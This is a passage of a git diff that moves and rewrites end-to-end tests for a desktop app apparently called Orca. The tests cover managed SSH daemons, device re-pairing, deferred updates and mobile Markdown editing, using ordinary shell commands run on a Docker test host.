} from '../../../../../src/main/orcad/runtime-launch/orcad-bundled-runtime' +import '../../../../../src/main/orcad/serve-startup/orcad-configuration-exit' + import { buildDaemonSessionClient, type DaemonSessionClientResult -} from '../../src/main/orcad/testing/daemon-processes/orcad-daemon-session-client-fixture' -import { expect, test } from './helpers/orca-app' -import { resolveElectronExecutable } from './helpers/daemon-generation-runtime-fixture' +} from '../../../../../src/main/orcad/testing/daemon-processes/orcad-daemon-session-client-fixture' +import { test } from '../../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import '../../../desktop/daemon-lifecycle/daemon-generation-runtime-fixture' + import { launchHeadlessPairedRuntimeHost, type HeadlessPairedRuntimeHost -} from './helpers/headless-paired-runtime-host' -import { cleanupE2EDaemons } from './helpers/electron-process-shutdown' -import { cliServeProfile, isPidAlive, spawnUntilReady } from './helpers/orca-serve-cli-host' +} from '../../paired-runtime/client-hosts/headless-paired-runtime-host' +import { cleanupE2EDaemons } from '../../../desktop/electron-fixtures/electron-process-shutdown' +import { + cliServeProfile, + isPidAlive, + spawnUntilReady +} from '../../paired-runtime/client-hosts/orca-serve-cli-host' const RUN = process.env.ORCA_E2E_ORCAD_SERVE === '1' const slotDir = path.resolve('out/orcad') const orcadRuntime = RUN && existsSync(slotDir) ? resolveBundledOrcadRuntime(slotDir) : null -const SINGLE_INSTANCE_ALREADY_RUNNING_EXIT_CODE = 3 test.describe.configure({ mode: 'serial' }) @@ -192,43 +198,3 @@ test("Electron serve adopts a terminal orcad's daemon owns", async () => { await host.dispose() } }) - -test('each serve host refuses a profile the other holds', async () => { - const host = await launchHeadlessPairedRuntimeHost({ - pinnedServePort: true, - userDataParent: scratch - }) - try { - // Electron serve holds the profile: orcad serve refuses with its configuration exit code. - const refused = await runProcess({ - program: orcadRuntime!, - args: [path.join(slotDir, 'orcad.js'), '--bind', '127.0.0.1', '--port', '0', '--json'], - env: { ...host.env, ORCA_USER_DATA: host.userDataDir }, - timeoutMs: 60_000 - }) - expect(refused.code).toBe(ORCAD_EXIT_CONFIGURATION) - expect(refused.stdout).toBe('') - expect(refused.stderr).toContain('The Orca desktop app') - - await host.restartServeProcess({ - betweenProcesses: async () => { - // orcad serve holds it: an Electron launch on the same profile exits as a duplicate. - const orcad = await startOrcadServe(host) - try { - const electron = await runProcess({ - program: resolveElectronExecutable(process.cwd()), - args: [...host.electronArgs, '--serve', '--serve-json', '--serve-port', '0'], - env: host.env, - timeoutMs: 90_000 - }) - expect(electron.code).toBe(SINGLE_INSTANCE_ALREADY_RUNNING_EXIT_CODE) - expect(`${electron.stdout}${electron.stderr}`).toContain('Another orcad') - } finally { - await orcad.stop() - } - } - }) - } finally { - await host.dispose() - } -}) diff --git a/tests/e2e/helpers/orcad-template-variant.ts b/tests/e2e/remote/managed-ssh/host-lifecycle/orcad-template-variant.ts similarity index 93% rename from tests/e2e/helpers/orcad-template-variant.ts rename to tests/e2e/remote/managed-ssh/host-lifecycle/orcad-template-variant.ts index 3abe73a8715..7befcbf103f 100644 --- a/tests/e2e/helpers/orcad-template-variant.ts +++ b/tests/e2e/remote/managed-ssh/host-lifecycle/orcad-template-variant.ts @@ -5,7 +5,7 @@ import path from 'node:path' import { ORCAD_TEMPLATE_MANIFEST_FILENAME, ORCAD_VERSION -} from '../../../src/shared/remote-runtime/orcad-distribution/orcad-artifacts' +} from '../../../../../src/shared/remote-runtime/orcad-distribution/orcad-artifacts' const ENTRY = 'orcad.js' diff --git a/tests/e2e/helpers/orcad-upgrade-profile.ts b/tests/e2e/remote/managed-ssh/host-lifecycle/orcad-upgrade-profile.ts similarity index 91% rename from tests/e2e/helpers/orcad-upgrade-profile.ts rename to tests/e2e/remote/managed-ssh/host-lifecycle/orcad-upgrade-profile.ts index 4ad9b9b2b0c..ee422d7ea5c 100644 --- a/tests/e2e/helpers/orcad-upgrade-profile.ts +++ b/tests/e2e/remote/managed-ssh/host-lifecycle/orcad-upgrade-profile.ts @@ -1,17 +1,17 @@ // Seed a stopped v1.4.218 relay-era profile with unfenced SSH target, repo/folder workspaces and saved editor/terminal state. // The next launch then exercises first-time automatic conversion. -import type { FolderWorkspace } from '../../../src/shared/folder-workspaces/folder-workspace-types' -import type { ProjectGroup } from '../../../src/shared/project/groups/project-group-types' -import type { Repo } from '../../../src/shared/repository/repo-types' +import type { FolderWorkspace } from '../../../../../src/shared/folder-workspaces/folder-workspace-types' +import type { ProjectGroup } from '../../../../../src/shared/project/groups/project-group-types' +import type { Repo } from '../../../../../src/shared/repository/repo-types' import type { SshTarget, SshTargetCreateInput -} from '../../../src/shared/remote-runtime/ssh/ssh-types' -import { getDefaultWorkspaceSession } from '../../../src/shared/orca-profiles/constants' -import { toSshExecutionHostId } from '../../../src/shared/execution-host/execution-host' -import { toAppSshPtyId } from '../../../src/shared/remote-runtime/ssh/ssh-pty-id' -import { normalizeSshTarget } from '../../../src/main/persistence/leasing-ssh-ptys/ssh-normalization' -import { mutateStoppedProfileState } from './persisted-profile-state' +} from '../../../../../src/shared/remote-runtime/ssh/ssh-types' +import { getDefaultWorkspaceSession } from '../../../../../src/shared/orca-profiles/constants' +import { toSshExecutionHostId } from '../../../../../src/shared/execution-host/execution-host' +import { toAppSshPtyId } from '../../../../../src/shared/remote-runtime/ssh/ssh-pty-id' +import { normalizeSshTarget } from '../../../../../src/main/persistence/leasing-ssh-ptys/ssh-normalization' +import { mutateStoppedProfileState } from '../../../desktop/electron-fixtures/persisted-profile-state' export type RelayEraProfile = { targetId: string diff --git a/tests/e2e/helpers/orcad-upgrade-retained-state.ts b/tests/e2e/remote/managed-ssh/host-lifecycle/orcad-upgrade-retained-state.ts similarity index 86% rename from tests/e2e/helpers/orcad-upgrade-retained-state.ts rename to tests/e2e/remote/managed-ssh/host-lifecycle/orcad-upgrade-retained-state.ts index 52d96a08cba..322084233ac 100644 --- a/tests/e2e/helpers/orcad-upgrade-retained-state.ts +++ b/tests/e2e/remote/managed-ssh/host-lifecycle/orcad-upgrade-retained-state.ts @@ -1,10 +1,10 @@ import { z } from 'zod' -import { workspaceSessionStateSchema } from '../../../src/shared/workspace-session/workspace-session-schema' -import { worktreeWorkspaceKey } from '../../../src/shared/workspace/identity/workspace-scope' -import { toSshExecutionHostId } from '../../../src/shared/execution-host/execution-host' -import { mutateStoppedProfileState } from './persisted-profile-state' +import { workspaceSessionStateSchema } from '../../../../../src/shared/workspace-session/workspace-session-schema' +import { worktreeWorkspaceKey } from '../../../../../src/shared/workspace/identity/workspace-scope' +import { toSshExecutionHostId } from '../../../../../src/shared/execution-host/execution-host' +import { mutateStoppedProfileState } from '../../../desktop/electron-fixtures/persisted-profile-state' import type { RelayEraProfile } from './orcad-upgrade-profile' -import { mergeWorktreeMetaForWrite } from '../../../src/main/persistence/loading-store/worktree-metadata/worktree-meta-write-normalization' +import { mergeWorktreeMetaForWrite } from '../../../../../src/main/persistence/loading-store/worktree-metadata/worktree-meta-write-normalization' /** Released clients can leave cross-host parents, closed-pane resumes and stale local snapshots. */ export function seedRetainedUpgradeState( diff --git a/tests/e2e/helpers/reserve-local-port.ts b/tests/e2e/remote/managed-ssh/host-lifecycle/reserve-local-port.ts similarity index 100% rename from tests/e2e/helpers/reserve-local-port.ts rename to tests/e2e/remote/managed-ssh/host-lifecycle/reserve-local-port.ts diff --git a/tests/e2e/ssh-orcad-idle-exit.spec.ts b/tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-idle-exit.spec.ts similarity index 78% rename from tests/e2e/ssh-orcad-idle-exit.spec.ts rename to tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-idle-exit.spec.ts index 52dfca71fde..dfc50eed331 100644 --- a/tests/e2e/ssh-orcad-idle-exit.spec.ts +++ b/tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-idle-exit.spec.ts @@ -2,25 +2,24 @@ // Reuse surviving daemon PTYs after kill; start fresh after reboot and consume idle-stop records. // Docker only: ORCA_E2E_ORCAD_CONVERT_TEMPLATE must be linux-x64-glibc; forward a short test quiet period. import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' -import { createRestartSession } from './helpers/orca-restart' -import { reconnect } from './helpers/orcad-convert-flow' -import { ORCAD_CONVERT_HOST_ENV } from './helpers/orcad-convert-host' +import { test } from '../../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { waitForSessionReady } from '../../../desktop/renderer-probes/store' +import { createRestartSession } from '../../../desktop/electron-fixtures/orca-restart' +import { reconnect } from './orcad-convert-flow' +import { ORCAD_CONVERT_HOST_ENV } from './orcad-convert-host' import { cleanupDockerSshHostTarget, DOCKER_SSH_HOST_REMOTE_REPO_PATH, execDockerSshHostTargetCommand, startDockerSshHostTarget, type DockerSshHostTarget -} from './helpers/docker-ssh-host-target' -import { ORCAD_E2E_IDLE_TIMEOUT_ENV } from '../../src/shared/remote-runtime/orcad-lifecycle/orcad-idle-exit' +} from './docker-ssh-host-target' +import '../../../../../src/shared/remote-runtime/orcad-lifecycle/orcad-idle-exit' const HOST = process.env[ORCAD_CONVERT_HOST_ENV] const TEMPLATE_SOURCE = process.env.ORCA_E2E_ORCAD_CONVERT_TEMPLATE // Long enough that a connected client's own traffic never lets it lapse mid-test. -const IDLE_TIMEOUT_MS = 15_000 -const RECORD = '/root/.orca/orcad-idle-stop.json' /** PIDs of running orcad slots; empty once every slot has exited. */ function runningOrcadPids(target: DockerSshHostTarget): string[] { @@ -34,79 +33,6 @@ function runningOrcadPids(target: DockerSshHostTarget): string[] { .filter(Boolean) } -function readIdleStopRecord(target: DockerSshHostTarget): unknown { - const raw = execDockerSshHostTargetCommand(target, `cat ${RECORD} 2>/dev/null || true`).trim() - return raw ? JSON.parse(raw) : null -} - -test('a managed orcad stops after idling and starts again on the next connect', async (// oxlint-disable-next-line no-empty-pattern -- Playwright's second fixture arg is testInfo; the first must be an object destructure to opt out of the default fixture set. -{}, testInfo) => { - test.skip( - HOST !== 'docker' || !TEMPLATE_SOURCE, - `Set ${ORCAD_CONVERT_HOST_ENV}=docker and ORCA_E2E_ORCAD_CONVERT_TEMPLATE` - ) - test.setTimeout(15 * 60_000) - const target = startDockerSshHostTarget(testInfo) - const session = createRestartSession(testInfo, { - ORCA_ORCAD_TEMPLATE_PATH: TEMPLATE_SOURCE!, - [ORCAD_E2E_IDLE_TIMEOUT_ENV]: String(IDLE_TIMEOUT_MS) - }) - let app: ElectronApplication | null = null - try { - const first = await session.launch() - app = first.app - await waitForSessionReady(first.page) - // A managed host is reached through its server, not a relay, so no relay repo is added. - const remote = await connectManagedHost(first.page, target) - expect(runningOrcadPids(target)).toHaveLength(1) - - // While the client is connected the server stays up past its quiet period. - await first.page.waitForTimeout(IDLE_TIMEOUT_MS * 2) - expect(runningOrcadPids(target)).toHaveLength(1) - - await session.close(app) - app = null - await expect - .poll(() => runningOrcadPids(target), { timeout: 3 * 60_000 }) - .toEqual([]) - .catch((error: unknown) => { - // The server logs what kept it up; without it a timeout explains nothing. - console.error( - execDockerSshHostTargetCommand(target, 'tail -n 40 /root/.orca-remote/orcad-*/orcad.log') - ) - throw error - }) - expect(readIdleStopRecord(target)).toMatchObject({ - kind: 'orcad_idle_stop', - idleTimeoutMs: IDLE_TIMEOUT_MS - }) - - const second = await session.launch() - app = second.app - await waitForSessionReady(second.page) - const connected = await reconnect(second.page, remote.targetId) - // A start inherited from the launch-time connect this reconnect dropped would report `serving`. - expect(JSON.parse(connected)).toMatchObject({ kind: 'managed' }) - expect(JSON.parse(connected)).not.toHaveProperty('serving') - await expect - .poll( - async () => - (await callEnvironment(second.page, remote.environmentId, 'terminal.list', {})).ok, - { timeout: 60_000 } - ) - .toBe(true) - expect(runningOrcadPids(target)).toHaveLength(1) - // The restarted server read the record, so a later crash cannot be mistaken for an idle stop. - expect(readIdleStopRecord(target)).toBeNull() - } finally { - if (app) { - await session.close(app) - } - await session.dispose() - cleanupDockerSshHostTarget(target) - } -}) - async function connectManagedHost( page: Page, target: DockerSshHostTarget diff --git a/tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-pairing-repair.spec.ts b/tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-pairing-repair.spec.ts new file mode 100644 index 00000000000..662909685ab --- /dev/null +++ b/tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-pairing-repair.spec.ts @@ -0,0 +1,99 @@ +// After host-side device removal/restart, re-pair over SSH and restore pane input automatically. +// A changed host key must refuse repair and retain the saved pairing. +import type { Page } from '@stablyai/playwright-test' +import { test } from '../../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { readPairedPaneContent } from '../../../terminal/remote-hosts/paired-host-terminal' +import './orcad-convert-flow' + +import '../../network-outages/freezable-tcp-proxy' + +import { + echoMarker, + expectTerminalAnswers, + launchManagedWorkspace, + openTerminalTab, + skipUnlessManagedDockerHost, + withManagedHost +} from './orcad-managed-workspace' + +skipUnlessManagedDockerHost() +test.skip(process.platform === 'win32', 'The Docker SSH host uses POSIX tooling') + +const DEVICES = '/root/.orca/orca-devices.json' + +const KILL_ORCAD = 'kill -TERM $(cat /root/.orca-remote/orcad-*/.orcad-pid)' +// Ids only: the rows also hold device tokens, which must stay out of CI logs. +const DEVICE_IDS = + `node -e 'console.log(JSON.parse(require("fs").readFileSync(process.argv[1],"utf8"))` + + `.map((d)=>d.deviceId).join(","))' ${DEVICES}` + +async function pairing(page: Page, environmentId: string) { + const environment = (await page.evaluate(() => window.api.runtimeEnvironments.list())).find( + (entry) => entry.id === environmentId + ) + return { + revision: environment?.pairingRevision ?? environment?.createdAt ?? null, + deviceId: environment?.pairedDeviceId ?? null + } +} + +function reconnectBanner(page: Page, tabId: string): Promise { + return page.evaluate((id) => { + const pane = document.querySelector(`[data-terminal-tab-id="${id}"]`) ?? document + return ( + pane + .querySelector('[data-terminal-remote-runtime-reconnect-banner]') + ?.getAttribute('data-terminal-remote-runtime-reconnect-banner') ?? null + ) + }, tabId) +} + +test('a host that dropped this desktop is paired again over SSH and its pane answers', async (// oxlint-disable-next-line no-empty-pattern -- Owns its app launch through a restart session. +{}, testInfo) => { + test.setTimeout(15 * 60_000) + await withManagedHost(testInfo, async (fixture) => { + const { host } = fixture + const { page, seeded, environmentId } = await launchManagedWorkspace(fixture) + const tabId = await openTerminalTab(page, seeded.worktreeId) + await echoMarker(page, tabId, 'BEFORE_REVOKE') + const before = await pairing(page, environmentId) + expect(before.deviceId).toBeTruthy() + + // Host side, as an admin would: remove this desktop's device, then restart the server. + host.exec!( + `node -e 'const f=process.argv[1];const fs=require("fs");` + + `fs.writeFileSync(f,JSON.stringify(JSON.parse(fs.readFileSync(f,"utf8"))` + + `.filter((d)=>d.deviceId!==process.argv[2])))' ${DEVICES} ${before.deviceId}` + ) + host.exec!(KILL_ORCAD) + // Evidence for a revoked row the old server wrote back while stopping. + console.log('[pairing-repair] device ids after kill', host.exec!(DEVICE_IDS)) + + try { + await expectTerminalAnswers(page, tabId, 4 * 60_000) + } catch (error) { + console.log( + '[pairing-repair] evidence', + JSON.stringify({ + banner: await reconnectBanner(page, tabId), + pane: (await readPairedPaneContent(page, tabId)).slice(-600), + devices: host.exec!(DEVICE_IDS) + }) + ) + await page.screenshot({ path: testInfo.outputPath('after-revoke.png') }) + throw error + } + const after = await pairing(page, environmentId) + console.log('[pairing-repair] device ids after reconnect', host.exec!(DEVICE_IDS), { + revoked: before.deviceId, + paired: after.deviceId + }) + expect(after.revision).not.toBe(before.revision) + expect(after.deviceId).not.toBe(before.deviceId) + await expect.poll(() => reconnectBanner(page, tabId)).toBeNull() + await page.screenshot({ path: testInfo.outputPath('repaired.png') }) + }) +}) + +// Restart behind the network cut so the first client observation is the refusal from the deliberately staged offer. diff --git a/tests/e2e/ssh-orcad-shared-home-machines.spec.ts b/tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-shared-home-machines.spec.ts similarity index 92% rename from tests/e2e/ssh-orcad-shared-home-machines.spec.ts rename to tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-shared-home-machines.spec.ts index 571232624cf..f0c54d0e9bf 100644 --- a/tests/e2e/ssh-orcad-shared-home-machines.spec.ts +++ b/tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-shared-home-machines.spec.ts @@ -3,17 +3,18 @@ import { execFileSync, spawnSync } from 'node:child_process' import { randomUUID } from 'node:crypto' import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' -import { createRestartSession } from './helpers/orca-restart' -import { reconnect } from './helpers/orcad-convert-flow' -import { ORCAD_CONVERT_HOST_ENV } from './helpers/orcad-convert-host' +import { test } from '../../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { waitForSessionReady } from '../../../desktop/renderer-probes/store' +import { createRestartSession } from '../../../desktop/electron-fixtures/orca-restart' +import { reconnect } from './orcad-convert-flow' +import { ORCAD_CONVERT_HOST_ENV } from './orcad-convert-host' import { cleanupDockerSshHostTarget, execDockerSshHostTargetCommand, startDockerSshHostTarget, type DockerSshHostTarget -} from './helpers/docker-ssh-host-target' +} from './docker-ssh-host-target' const HOST = process.env[ORCAD_CONVERT_HOST_ENV] const TEMPLATE_SOURCE = process.env.ORCA_E2E_ORCAD_CONVERT_TEMPLATE diff --git a/tests/e2e/ssh-orcad-unbindable-tunnel-port.spec.ts b/tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-unbindable-tunnel-port.spec.ts similarity index 91% rename from tests/e2e/ssh-orcad-unbindable-tunnel-port.spec.ts rename to tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-unbindable-tunnel-port.spec.ts index 572731ca3b0..c2edd4983b1 100644 --- a/tests/e2e/ssh-orcad-unbindable-tunnel-port.spec.ts +++ b/tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-unbindable-tunnel-port.spec.ts @@ -1,8 +1,12 @@ // #33182: if the saved tunnel port is excluded or occupied after relaunch, reuse pairing on a fresh port and restore pane input. import { createServer, type Server } from 'node:net' import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { waitForSessionReady, waitForStartupWorktreeRefresh } from './helpers/store' +import { test } from '../../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { + waitForSessionReady, + waitForStartupWorktreeRefresh +} from '../../../desktop/renderer-probes/store' import { activateManagedWorkspace, echoMarker, @@ -12,7 +16,7 @@ import { selectTerminalTab, skipUnlessManagedDockerHost, withManagedHost -} from './helpers/orcad-managed-workspace' +} from './orcad-managed-workspace' skipUnlessManagedDockerHost() test.skip(process.platform === 'win32', 'The Docker SSH host uses POSIX tooling') diff --git a/tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-update-anyway.spec.ts b/tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-update-anyway.spec.ts new file mode 100644 index 00000000000..f94aa4ea70e --- /dev/null +++ b/tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-update-anyway.spec.ts @@ -0,0 +1,99 @@ +/** Prove Update defers on a running process, Update anyway preserves it across restart, and repeated deferrals keep one staged build (#34149). */ +import { cpSync, mkdtempSync, rmSync } from 'node:fs' +import os from 'node:os' +import path from 'node:path' +import type { Page } from '@stablyai/playwright-test' +import { test } from '../../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import '../../../terminal/remote-hosts/paired-host-terminal' +import '../../../terminal/input/terminal' + +import { + expectPaneText, + launchManagedWorkspace, + ORCAD_TEMPLATE, + relaunchManagedApp, + skipUnlessManagedDockerHost, + openTerminalTab, + typeInTerminal, + withManagedHost +} from './orcad-managed-workspace' +import { makeOrcadTemplateVariant, readHostOrcadActivation } from './orcad-template-variant' + +skipUnlessManagedDockerHost() +test.skip(process.platform === 'win32', 'The Docker SSH host uses POSIX tooling') + +function slotVersions(exec: (command: string) => string): string[] { + return exec('cd /root/.orca-remote && ls -d orcad-0* 2>/dev/null || true') + .split('\n') + .map((line) => line.trim().replace(/^orcad-/, '')) + .filter(Boolean) + .sort() +} + +function deferredCandidate(page: Page, environmentId: string): Promise { + return page.evaluate( + async (selector) => + (await window.api.runtimeEnvironments.managedOrcad?.getStatus({ selector }))?.deferredUpdate + ?.candidateVersion ?? null, + environmentId + ) +} + +test('a release deferred over running terminals replaces the build the last one staged', async (// oxlint-disable-next-line no-empty-pattern -- Owns its app launch through a restart session. +{}, testInfo) => { + // Deploys a server, then relaunches through two app updates that each stage a build. + test.setTimeout(20 * 60_000) + const scratch = mkdtempSync(path.join(os.tmpdir(), 'orca-deferred-slots-')) + const templateDir = path.join(scratch, 'template') + cpSync(ORCAD_TEMPLATE!, templateDir, { recursive: true }) + try { + await withManagedHost( + testInfo, + async (fixture) => { + const exec = fixture.host.exec! + const workspace = await launchManagedWorkspace(fixture) + const { environmentId } = workspace + const tab = await openTerminalTab(workspace.page, workspace.seeded.worktreeId) + await typeInTerminal(workspace.page, tab, `bash -c 'while :; do echo TICK; sleep 1; done'`) + await expectPaneText(workspace.page, tab, 'TICK') + const deployed = readHostOrcadActivation(exec).active! + + makeOrcadTemplateVariant(templateDir, 'B') + let page = await relaunchManagedApp(fixture) + await expect + .poll(() => deferredCandidate(page, environmentId), { timeout: 4 * 60_000 }) + .not.toBeNull() + const staged = (await deferredCandidate(page, environmentId))! + expect(slotVersions(exec)).toEqual([deployed, staged].sort()) + + // Releases come days apart; a build staged this recently could still be another desktop's. + exec(`touch -d '5 days ago' /root/.orca-remote/orcad-${staged}/.install-complete`) + makeOrcadTemplateVariant(templateDir, 'C') + page = await relaunchManagedApp(fixture) + let next: string | null = null + await expect + .poll( + async () => { + const candidate = await deferredCandidate(page, environmentId) + next = candidate !== staged ? candidate : null + return next + }, + { timeout: 4 * 60_000 } + ) + .not.toBeNull() + expect(readHostOrcadActivation(exec).active).toBe(deployed) + await expect + .poll(() => slotVersions(exec), { timeout: 60_000 }) + .toEqual([deployed, next!].sort()) + // The prune must not touch the running terminal the deferral protected. + expect( + exec("pgrep -f '[w]hile :; do echo TICK' >/dev/null && echo alive || true") + ).toContain('alive') + }, + templateDir + ) + } finally { + rmSync(scratch, { recursive: true, force: true }) + } +}) diff --git a/tests/e2e/helpers/windows-host-orcad-processes.ts b/tests/e2e/remote/managed-ssh/host-lifecycle/windows-host-orcad-processes.ts similarity index 100% rename from tests/e2e/helpers/windows-host-orcad-processes.ts rename to tests/e2e/remote/managed-ssh/host-lifecycle/windows-host-orcad-processes.ts diff --git a/tests/e2e/headless-mobile-markdown.spec.ts b/tests/e2e/remote/mobile-mirror/headless-mobile-markdown.spec.ts similarity index 83% rename from tests/e2e/headless-mobile-markdown.spec.ts rename to tests/e2e/remote/mobile-mirror/headless-mobile-markdown.spec.ts index 381a0dc963d..b91fccb2262 100644 --- a/tests/e2e/headless-mobile-markdown.spec.ts +++ b/tests/e2e/remote/mobile-mirror/headless-mobile-markdown.spec.ts @@ -1,11 +1,12 @@ import { readFile, writeFile } from 'node:fs/promises' import path from 'node:path' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { pairMobileClient } from './helpers/paired-mobile-client' -import type { RuntimeMobileSessionTabsResult } from '../../src/shared/remote-runtime/session-graph/runtime-session-contracts' -import type { RuntimeWorktreePsSummary } from '../../src/shared/worktree/catalog/runtime-worktree-contracts' -import type { RuntimeMarkdownReadTabResult } from '../../src/shared/editor/markdown/mobile-markdown-document' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { launchHeadlessPairedRuntimeHost } from '../paired-runtime/client-hosts/headless-paired-runtime-host' +import { pairMobileClient } from './paired-mobile-client' +import type { RuntimeMobileSessionTabsResult } from '../../../../src/shared/remote-runtime/session-graph/runtime-session-contracts' +import type { RuntimeWorktreePsSummary } from '../../../../src/shared/worktree/catalog/runtime-worktree-contracts' +import type { RuntimeMarkdownReadTabResult } from '../../../../src/shared/editor/markdown/mobile-markdown-document' test('a phone creates, edits, and saves a note on a host without a renderer', async ({ testRepoPath diff --git a/tests/e2e/headless-serve-mobile-markdown.spec.ts b/tests/e2e/remote/mobile-mirror/headless-serve-mobile-markdown.spec.ts similarity index 88% rename from tests/e2e/headless-serve-mobile-markdown.spec.ts rename to tests/e2e/remote/mobile-mirror/headless-serve-mobile-markdown.spec.ts index c507137f3e5..1ed011fbabf 100644 --- a/tests/e2e/headless-serve-mobile-markdown.spec.ts +++ b/tests/e2e/remote/mobile-mirror/headless-serve-mobile-markdown.spec.ts @@ -1,13 +1,14 @@ // With no editor window, serve must read/save Markdown from disk and compare saves against the phone’s last-read version. import { readFileSync, writeFileSync } from 'node:fs' import path from 'node:path' -import type { RuntimeClient } from '../../src/cli/runtime/client' -import type { RuntimeMobileSessionTabsResult } from '../../src/shared/remote-runtime/session-graph/runtime-session-contracts' +import type { RuntimeClient } from '../../../../src/cli/runtime/client' +import type { RuntimeMobileSessionTabsResult } from '../../../../src/shared/remote-runtime/session-graph/runtime-session-contracts' import type { RuntimeMarkdownReadTabResult, RuntimeMarkdownSaveTabResult -} from '../../src/shared/editor/markdown/mobile-markdown-document' -import { expect, test } from './helpers/orca-app' +} from '../../../../src/shared/editor/markdown/mobile-markdown-document' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { addRepoWorktree, cliClient, @@ -15,8 +16,8 @@ import { pairedClient, startHeadlessOracleHost, type HeadlessHostKind -} from './helpers/headless-layout-oracle-hosts' -import { mutateStoppedProfileState } from './helpers/persisted-profile-state' +} from '../../layout/workspace-oracle/headless-layout-oracle-hosts' +import { mutateStoppedProfileState } from '../../desktop/electron-fixtures/persisted-profile-state' function isRecord(value: unknown): value is Record { return typeof value === 'object' && value !== null && !Array.isArray(value) diff --git a/tests/e2e/headless-serve-mobile-native-chat-identity.spec.ts b/tests/e2e/remote/mobile-mirror/headless-serve-mobile-native-chat-identity.spec.ts similarity index 88% rename from tests/e2e/headless-serve-mobile-native-chat-identity.spec.ts rename to tests/e2e/remote/mobile-mirror/headless-serve-mobile-native-chat-identity.spec.ts index a08b7f6524d..02bb848c8ee 100644 --- a/tests/e2e/headless-serve-mobile-native-chat-identity.spec.ts +++ b/tests/e2e/remote/mobile-mirror/headless-serve-mobile-native-chat-identity.spec.ts @@ -4,18 +4,19 @@ import { randomUUID } from 'node:crypto' import { chmodSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs' import os from 'node:os' import path from 'node:path' -import { expect, test } from './helpers/orca-app' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { launchHeadlessPairedRuntimeHost, type HeadlessPairedRuntimeHost -} from './helpers/headless-paired-runtime-host' -import { pairMobileClient, type PairedMobileClient } from './helpers/paired-mobile-client' -import type { AgentStatusEntry } from '../../src/shared/agent-status/contracts/agent-status-types' -import type { AiVaultSession } from '../../src/shared/ai-vault/contracts/ai-vault-types' -import type { RuntimeMobileSessionTabsResult } from '../../src/shared/remote-runtime/session-graph/runtime-session-contracts' -import type { RuntimeTerminalListResult } from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import type { RuntimeWorktreePsSummary } from '../../src/shared/worktree/catalog/runtime-worktree-contracts' -import { buildMobileAiVaultResumeLaunch } from '../../mobile/src/agent-history/ai-vault-resume-launch' +} from '../paired-runtime/client-hosts/headless-paired-runtime-host' +import { pairMobileClient, type PairedMobileClient } from './paired-mobile-client' +import type { AgentStatusEntry } from '../../../../src/shared/agent-status/contracts/agent-status-types' +import type { AiVaultSession } from '../../../../src/shared/ai-vault/contracts/ai-vault-types' +import type { RuntimeMobileSessionTabsResult } from '../../../../src/shared/remote-runtime/session-graph/runtime-session-contracts' +import type { RuntimeTerminalListResult } from '../../../../src/shared/terminal/runtime/runtime-terminal-contracts' +import type { RuntimeWorktreePsSummary } from '../../../../src/shared/worktree/catalog/runtime-worktree-contracts' +import { buildMobileAiVaultResumeLaunch } from '../../../../mobile/src/agent-history/ai-vault-resume-launch' test.skip(process.platform === 'win32', 'the fake agents are POSIX shell scripts') diff --git a/tests/e2e/mobile-subscribe-idle-hidden-pane-fit.spec.ts b/tests/e2e/remote/mobile-mirror/mobile-subscribe-idle-hidden-pane-fit.spec.ts similarity index 85% rename from tests/e2e/mobile-subscribe-idle-hidden-pane-fit.spec.ts rename to tests/e2e/remote/mobile-mirror/mobile-subscribe-idle-hidden-pane-fit.spec.ts index a108b224ad0..8b0daa255a0 100644 --- a/tests/e2e/mobile-subscribe-idle-hidden-pane-fit.spec.ts +++ b/tests/e2e/remote/mobile-mirror/mobile-subscribe-idle-hidden-pane-fit.spec.ts @@ -3,25 +3,29 @@ import { existsSync, mkdirSync, readFileSync, writeFileSync } from 'node:fs' import path from 'node:path' import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { TEST_REPO_PATH_FILE } from './global-setup' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { TEST_REPO_PATH_FILE } from '../../global-setup' +import { + attachRepoAndOpenTerminal, + createRestartSession +} from '../../desktop/electron-fixtures/orca-restart' +import { waitForActivePanePtyId } from '../../terminal/input/terminal' import { execInTerminal, - waitForActivePanePtyId, waitForActiveTerminalManager -} from './helpers/terminal' -import { ensureTerminalVisible, waitForSessionReady } from './helpers/store' -import { createRuntimeDesktopPairingOffer } from 